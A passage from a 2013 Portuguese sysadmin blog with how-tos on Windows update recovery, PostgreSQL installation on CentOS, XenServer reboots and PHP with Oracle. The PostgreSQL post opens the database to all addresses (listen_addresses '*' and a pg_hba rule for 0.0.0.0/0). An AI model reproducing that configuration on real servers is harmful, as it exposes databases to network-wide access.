$H = floor($tempo_carregamento / 3600);
$M = floor(($tempo_carregamento / 60) % 60);
$S = $tempo_carregamento % 60;
$tempo_carregamento=$H."h:".$M."m:".$S."s";

echo "<script type='text/javascript'>
window.alert('$texto  $tempo_carregamento');
</script>";
}

Para chamar a função, chame a mesma no final da pagina...


tempo_execucao("A pagina Produtos demorou:  ")

Abraços
Marcos Carraro
Read More

quinta-feira, 11 de abril de 2013

Resolvendo problema Update Microsoft KB2823324

Buenas,

Infelizmente, a atualização KB2823324 ferrou com alguns computadores da minha rede, de primeira mão, achava que tive sido algo exclusivamente das maquinas HP, alguma atualização que tivesse ferrado com o SO, porém após restaurar algumas maquinas, já percorri a internet e encontrei muito material relacionado a este problema.

Alguns links explicando o porque e uma solução temporária.


http://gestaoemti.com.br/index.php/windows-7-nao-inicia-depois-de-atualizacao-kb2823324/

http://www.baboo.com.br/2013/04/atualizacao-kb2823324-para-windows-7-causa-danos-ao-pc/

Solução em vários fóruns

1. Reinicie o computador e acesse o DVD do Windows 7
2. Escolha a opção de restauração do sistema operacional com prompt de comando
3. Assim que o promtp de comando abrir, digite:
dism.exe /image:C:\ /cleanup-image /revertpendingactions onde X é a unidade onde está instalado o Windows 7.
Isso irá reverter as últimas atualizações e o Windows 7 voltará a funcionar corretamente. 


Um forte quebra costelas, e uma ótima corrida para resolver todos problemas HAHAHHA.

Abraços

ATUALIZANDO.

Neste link tem um passo a passo bem descrito de como resolver o problema.

http://social.technet.microsoft.com/wiki/pt-br/contents/articles/16843.windows-7-problemas-na-inicializacao-apos-update-kb-2823324.aspx

Read More

quinta-feira, 4 de abril de 2013

Instalando Postgresql 9.2 + Alterar local do Banco no Centos 6.4 x64 = Sucesso

Salve Salve Queridos Leitores, e Leitoras!

Segue hoje mais um artigo, how-to, tutorial, caminho das pedras, ajuda....

Vamos instalar o postgresql no centos 6.4 e fazer a troca do diretorio padrão do DB que é em "/var/lib/pgsql/9.2/data", porque isso? Pois bem eu tenho um BI que vai utilizar o postgresql, porém vou querer fazer backup, e poder separar a partição, por motivos de segurança, desempenho e outras coisas.

Preparando o sistema.

# yum update -y
# sed -i '19iexclude=postgresql*' /etc/yum.repos.d/CentOS-Base.repo
# sed -i '28iexclude=postgresql*' /etc/yum.repos.d/CentOS-Base.repo

Baixando repositórios

# rpm -ivh http://yum.pgrpms.org/9.2/redhat/rhel-6-x86_64/pgdg-redhat92-9.2-7.noarch.rpm

Instalando

# yum install postgresql92-debuginfo.x86_64 postgresql92.x86_64 postgresql92-libs.x86_64 postgresql92-docs.x86_64 postgresql92-server.x86_64


Feito a instalação, vamos alterar o local onde ficarão os arquivos, do DB e os LOGS.

# vim /etc/init.d/postgresql-9.2

Na linha 76 altere a variável PGDATA=/var/lib/pgsql/9.2/data para o local desejado no meu caso ficou.
PGDATA=/db_sadig/data

Mais abaixo altere as outras duas entradas. PGLOG=/var/lib/pgsql/9.2/pgstartup.log   e  PGUPLOG=/var/lib/pgsql/$PGMAJORVERSION/pgupgrade.log  para 
PGLOG=/db_sadig/pgstartup.log
PGUPLOG=/db_sadig/$PGMAJORVERSION/pgupgrade.log

Feito as alterações no script, é hora de criar as pastas.

# mkdir -p /db_sadig/data

Permissão para o usuário postgress

# chown -R postgres:postgres /db_sadig/

Alterando pasta home do user jboss

# vim /etc/passwd

Procure pelo usuário postgre e altere a pasta home dele por padrão "/var/lib/pgsql/" para o diretório em que você desejar no meu caso ficou "/db_sadig/

Passos finais...
Iniciando o Postgresql

# /etc/init.d/postgresql-9.2 initdb

Colocando para iniciar no boot

# chkconfig postgresql-9.2 on

ATUALIZANDO MÉTODO MAIS FÁCIL

Verifique qual é o nome do arquivo de inicialização do PostgreSQL em /etc/init.d/postgresql-9.2 . 

# cd /etc/sysconfig/pgsql

# vim postgresql-9.2

Insira as seguintes linhas

PGDATA=/db_sadig/data
PGPORT=5432

# mkdir -p /db_sadig/data

Permissão para o usuário postgress

# chown -R postgres:postgres /db_sadig/

Alterando pasta home do user jboss

# vim /etc/passwd

Procure pelo usuário postgres e altere a pasta home dele por padrão "/var/lib/pgsql/" para o diretório em que você desejar no meu caso ficou "/db_sadig/

Passos finais...
Iniciando o Postgresql

# /etc/init.d/postgresql-9.2 initdb

Colocando para iniciar no boot

# chkconfig postgresql-9.2 on

--------------------------------------------------------------------------------------------------------

Criando usuário 

# su - postgres

# createuser sadig -P 

Caso desejar apagar um usuário

# dropuser sadig

Liberando acesso ao postgresql remotamente
Altere na linha 59 do arquivo postgresql.conf a variavel listen_addresses = 'localhost' para listen_addresses = '*'

Para liberar o acesso de qualquer rede.
echo "host    all             all             0.0.0.0/0               md5" >> /db_sadig/data/pg_hba.conf

--------------------------------------------------------------------------------------------------------

Forte Abraços
Marcos Carraro
Read More

terça-feira, 2 de abril de 2013

Cursos Técnicos Escola INFOSERV


Escola Infoserv inicia cursos específicos nas áreas de:

Curso: Java Básico e Avançado
Carga Horária: 100 horas aulas
Dias e Horários: Sábados das 13:30 às 17:30
Início: 13/04/2013

Curso: Windows 2008 Server Módulo I e II
Carga Horária: 50 horas aulas
Dias e Horários:
 Segundas das 19 às 22
Início: 15/04/2013

Curso: Montagem e Manutenção
Carga Horária: 54 horas aulas
Dias e Horários: Segundas das 19 às 22
Início: 06/05/2013

Curso: Linux para Servidor Módulo I
Carga Horária: 40 horas aulas
Dias e Horários: Sextas das 19 às 22
Início: 28/06/2013

QUALIFIQUE-SE. INFOSERV A MELHOR ESCOLHA.
Bento  3452.7928 |  Barbosa 3461.3333
Farroupilha 3268.6633 |  Garibaldi 3462.3330
www.escolainfoserv.com.br
Read More

sexta-feira, 29 de março de 2013

Projeto ofuscador php

Buenas,

Sexta-feira santa, é dia de ficar em casa, então vamos fazer algo produtivo... dei inicio ao ofuscador, já temna web, algumas coisas online, que fazem isso, porém poucos sabem como realmente funciona o motor de ofuscação.

Segue o meu rascunho do projeto, fica aberto para melhorias.


Read More

quarta-feira, 27 de março de 2013

Xenserver 6.0.X crash reboot for every servers

Buenas,

Tive, tenho, alguns problemas com um servidor que até o momento hospeda algumas VMs, a grande maioria de estudos e projetos, porém o mesmo esta apresentando alguns problemas, do nada ele se reinicia, sem mais e sem menos... Então revirei a net em busca de uma solução.

Cenário.
- HP ML350 G5;
- XEON E5410;
- 14BG memoria ram;

Problemas.
- Reboots consecutivos, sem informações.

Soluções.
 As soluções são varias, vou escrever as que eu estou a utilizar e as que poderão ser utilizadas.

Desabilitar algumas opções na BIOS.

1º- Solução

- Minimum Processor Idle Power State - Configure para No C-states
- Mais abaixo tem uma outra opção de power, marque a mesma com No C-states



2º - Solução

- Desabilitar Interrupt Remapping no boot.

# /opt/xensource/libexec/xen-cmdline -set-xen iommu=no-intremap

3º - Solução

- Enviar os logs do servidor para um auto-ajuda da citrix.
https://taas.citrix.com

Para salvar o arquivo de logs, vá no seguinte menu, lembre se selecionar a opção Crash Dump Files.




Feito isso, salve o .zip em algum local, e acesso o site https://taas.citrix.com faça login, e por final, upload do arquivo .zip com um nome parecido de "status-report-ANO-MES-DIA-HORA-MINUTO-SEGUNDO".zip

Ele vai trazer informações até interessantes

Uma saida...



Tomara que isso resolva os meus problemas e os seus.

Abraços
Marcos Carraro.

Read More

sexta-feira, 22 de março de 2013

Animação demonstrando como funciona DNSSEC

Estava viajando na web, até que me deparei com um posto no blog.corujadeti.com.br com um vídeo de como funciona o dnssec, achei interessante publicar no meu blog para mais leitores.



Fonte: http://blog.corujadeti.com.br/video-explicando-o-funcionamento-do-dnssec/
Read More

quinta-feira, 28 de fevereiro de 2013

Botando para funcionar PHP + Client Oracle 11G

Buenas,

Hoje, comecei um projeto novo que necessita trabalhar com oracle, e como todos sabem sou amante do PHP, para começar o php não da suporte nativo ao Oracle. Isso nos faz colocar a mão na massa e obter mais conhecimento.

Bora começar.

Cenário.
- Centos 6.3 x64 EN
- Apache 2.2.15
- PHP 5.3

Instalando dependências.

# yum install php php-devel php-pear gcc gcc-c++ autoconf -y

OBS:. Tem que fazer login em oracle.com para poder baixar.
http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html

Baixar o Basic e Devel para a sua versão do OracleDB.
OBS:. Se a sua versão do oracle for 11, desculpe-me, mas os clients não podem ser na mesma versão, vão ter que ser na versão 10.

Feito isso é hora de instalar o plugin no PHP.

# pecl install oci8

Saída....

Build process completed successfully
Installing '/usr/lib64/php/modules/oci8.so'
install ok: channel://pecl.php.net/oci8-1.4.9
configuration option "php_ini" is not set to php.ini location
You should add "extension=oci8.so" to php.ini



Temos que adicionar no php.ini o plugin. Para isso.

# echo "extension=oci8.so" >> /etc/php.ini

# /etc/init.d/httpd restart

# php -i | grep oci8

E ta não mão o php configurado para trabalhar com Oracle DB.

ATUALIZADO
Ao fazer a conexão com o DB e retornar um erro. "ORA-24408: could not generate unique server group name"

Exemplo de conexão com oracle utilizando php.

<?php

$usuario=" ";
$senha=" ";
$host=" ";
$db=" ";



$tns = "(DESCRIPTION = "
. " (ADDRESS = (PROTOCOL = TCP)(HOST = $host)(PORT = 1521))"
. " (CONNECT_DATA ="
. " (SERVER = DEDICATED)"
. " (SERVICE_NAME = $db)"
. " )"
. " )";


if ($c = @oci_connect($usuario, $senha, $tns)) {
    echo "Successfully connected to Oracle.";
    oci_close($c);
} else {
    $err = oci_error();
    $error = $err['message'] . "\n\n";
    print $error;
}


?>

Abraços
Marcos Carraro




Read More

quarta-feira, 9 de janeiro de 2013

Resolvendo problema Wallpaper XP + Mapeamento de drivers XP

Controlador de domínio: 2008 x64 server r2;
Clientes: Windows XP sp3;

Problema.
No 2008 server foi criado GPOS para fazer o mapeamento de drivers automaticamente sem precisar utilizar os scripts, problema não acontecia os mapeamentos novamente pela imcompatibilidade das versões de SO e regras.

Solução.
Fazer o download do "Extensões do cliente das Preferências de Diretiva de Grupo"
http://support.microsoft.com/kb/943729
-------------

Problema 2
Cria-se uma GPO para papel de parede para as maquinas, somente as maquinas com Windows 7 sp1 vão pegar esta regra, as maquinas com Windows 7 sem SP1 vão ficar com uma tela preta.
Então para resolver este problema trate de atualizar o Windows 7.

No windows XP o papel de parede fica branco, além de instalar a atualização acima, ele deve estar já com o SP3 instalado. Para resolver este problema é muito simples, a regra tem mais modelos de posição o Papel de parede, porém o windows XP não suporta, não conhece os outros tipos de orientações, a solução foi alterar para "Ampliar". A qual o XP e 7 conseguem entender.

Forte quebra costelas.
Marcos Carraro
Read More

Resolvendo problema de TSclient 2003 server contra TS 2008 r2

Buenas, 

Iniciando o ano já venho trazendo esta resolução do seguinte problema...

O computador remoto desconectou a sessão devido a um erro no protocolo de licenciamento. Tente conectar-se ao computador remoto novamente ou contate o administrador do servidor.

Cenário.
Cliente: Windows 2003 server x86 tscliennt v5;
Servidor: Windows 2008 server r2 x64 tsclient 7.1;

O problema era quando se tentava conectar do 2003 server para o 2008 server, o mesmo voltava o erro acima, em muitos foruns, blogs, vocês vão encontrar a dica de apagar uma chave no registro, porém não funciona... 

O problema é a incompatibilidade de versão dos protocolos, solução atualizar o client do 2003 server.

Nome do arquivo:         WindowsServer2003-KB925876-v2-x86-PTB.exe
Download:     http://www.microsoft.com/pt-br/download/details.aspx?id=21296
KB:    KB925876

Forte abraço
Marcos Carraro
Read More

Posts que a turma mais esta lendo...

Posts que a turma mais esta lendo...

Marcos Carraro